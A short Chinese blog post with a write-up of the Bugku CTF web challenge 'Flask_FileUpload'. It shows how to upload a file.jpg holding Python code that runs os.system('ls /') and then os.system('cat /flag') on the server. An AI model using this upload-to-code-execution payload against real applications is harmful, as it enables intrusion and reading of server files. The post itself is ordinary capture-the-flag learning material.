技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
fruge
几秒前
SSH、RDP、VNC不必各开一个客户端:Next Terminal用Web入口统一管理远程资产和会话记录
运维·前端·ssh
honkun6
17 分钟前
vue 下拉树组件 vxe-table-select 实现分页多选
前端·javascript·vue.js
2601_96288572
22 分钟前
从 baostock 迁移到 AlphaFeed:接口对照与代码迁移指南
python
用户62100758702
40 分钟前
Web BIM 开发实践:如何将构件选择、属性查询接入业务系统?
前端
羲云
1 小时前
AI 分站搭完就能发链接?上线前先过这 5 关
前端
葡萄城技术团队
1 小时前
一个 F4 快捷键,为什么能决定 Web 表格是否像 Excel?
前端
AI情绪识别开源
1 小时前
检信ALLEMOTION 标定治理与信号质量闸门 · 老年无感认知评估分析器
python
王川708
1 小时前
商协会后台前端的模块聚合实践
前端·后端
七夜zippoe
1 小时前
启元 Q1 腿部运动学逆解:Python 算站立下蹲关节角
开发语言·python·ai·机器人·腿部运动学
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)02如何新建文件夹? 电脑新建文件夹的4种方法03ai安全工具:CyberStrikeAI安装部署与使用04GitHub 镜像站点05历年考研数学一、数学二、数学三真题试卷及答案PDF06几个好用的ip纯净度检测网站07昇腾910B系列芯片完全指南:四款型号对比、服务器选型与大模型部署实战08Windows 10/11 如何退出微软账户并改用本地账户登录(含找不到选项的解决方法)09苹果iPA游戏软件资源下载网站10乙二醇水溶液物性参数